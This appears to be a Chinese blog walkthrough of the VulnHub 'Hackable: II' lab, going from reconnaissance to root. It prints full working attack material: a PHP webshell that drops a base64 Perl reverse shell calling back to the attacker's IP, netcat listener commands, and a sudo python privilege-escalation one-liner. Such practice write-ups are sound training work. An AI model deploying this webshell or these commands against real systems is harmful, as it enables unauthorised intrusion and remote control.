靶场练习第十八天~vulnhub靶场之hackableII

一、准备工作

kali和靶机都选择NAT模式(kali与靶机同网段)

1.靶场环境

下载链接:Hackable: II ~ VulnHub

2.kali的ip

命令:ifconfig

3.靶机的ip

扫描靶机ip

sudo arp-scan -l

二、信息收集

1.nmap的信息收集

(1)扫描靶机开放的端口及其服务

nmap -sC -A -p- 192.168.101.124

2.网站信息收集

(1)靶机开放了80端口,先访问靶机网站看看有什么有用的信息

发现是apapche默认页面,使用dirb进行目录扫描

dirb http://192.168.101.124

扫出http://192.168.101.124/files/,访问一下

三、漏洞发现及利用

(1)ftp登录

1.发现21端口允许 anonymous: allowed登录

ftp 192.168.101.124

2.下载下CALL.html文件,查看其中的内容

get CALL.html

3.发现这就是刚才那个CALL.html文件

4.上传一个txt测试一下

put swn.txt

查看txt文件,跟我写的一模一样

(2)通过ftp上传webshell.php

webshell源码

<?php

function which($pr) {

$path = execute("which $pr");

return ($path ? $path : $pr);

}

function execute($cfe) {

$res = '';

if ($cfe) {

if(function_exists('exec')) {

@exec($cfe,$res);

$res = join("\n",$res);

} elseif(function_exists('shell_exec')) {

$res = @shell_exec($cfe);

} elseif(function_exists('system')) {

@ob_start();

@system($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(function_exists('passthru')) {

@ob_start();

@passthru($cfe);

$res = @ob_get_contents();

@ob_end_clean();

} elseif(@is_resource($f = @popen($cfe,"r"))) {

$res = '';

while(!@feof($f)) {

$res .= @fread($f,1024);

}

@pclose($f);

}

}

return $res;

}

function cf($fname,$text){

if($fp=@fopen($fname,'w')) {

@fputs($fp,@base64_decode($text));

@fclose($fp);

}

}

$yourip = "192.168.101.10";

$yourport = '4444';

$usedb = array('perl'=>'perl','c'=>'c');

$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".

"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".

"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".

"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".

"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".

"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".

"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";

cf('/tmp/.bc',$back_connect);

$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");

?>

1.将php放到/home/kali目录下,因为我刚才是用kali用户进行ftp登录,默认情况下通过这里上传

2.上传webshell

put webshell.php

3.在kali这边开启监听

nc -lvvp 4444

4.进入到网页http://192.168.101.124/files/这边访问webshell

kali这边成功监听

5.优化命令执行终端,执行下面命令进入python交互式(注意要下载python环境才能运行):

python3 -c 'import pty; pty.spawn("/bin/bash");'

四、提权

1.发现一个提示文件,让我们启动脚本

cd /home

ls

cat important.txt

/.runme.sh

得到一个用户密码:shrek:cf4c2232354952690368f1b3dfdfb24d

这个密码是加密过的,尝试用md5解密

最后得到用户密码:shrek:onion

2.ssh远程登录

ssh shrek@192.168.101.124

3.查看该用户的权限并且该用户能够利用引用root相关的执行文件有哪些

sudo -l

4.使用python进行提权

sudo python3.5 -c 'import os; os.system("/bin/sh")'

5.拿下flag

ls

cat user.txt

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值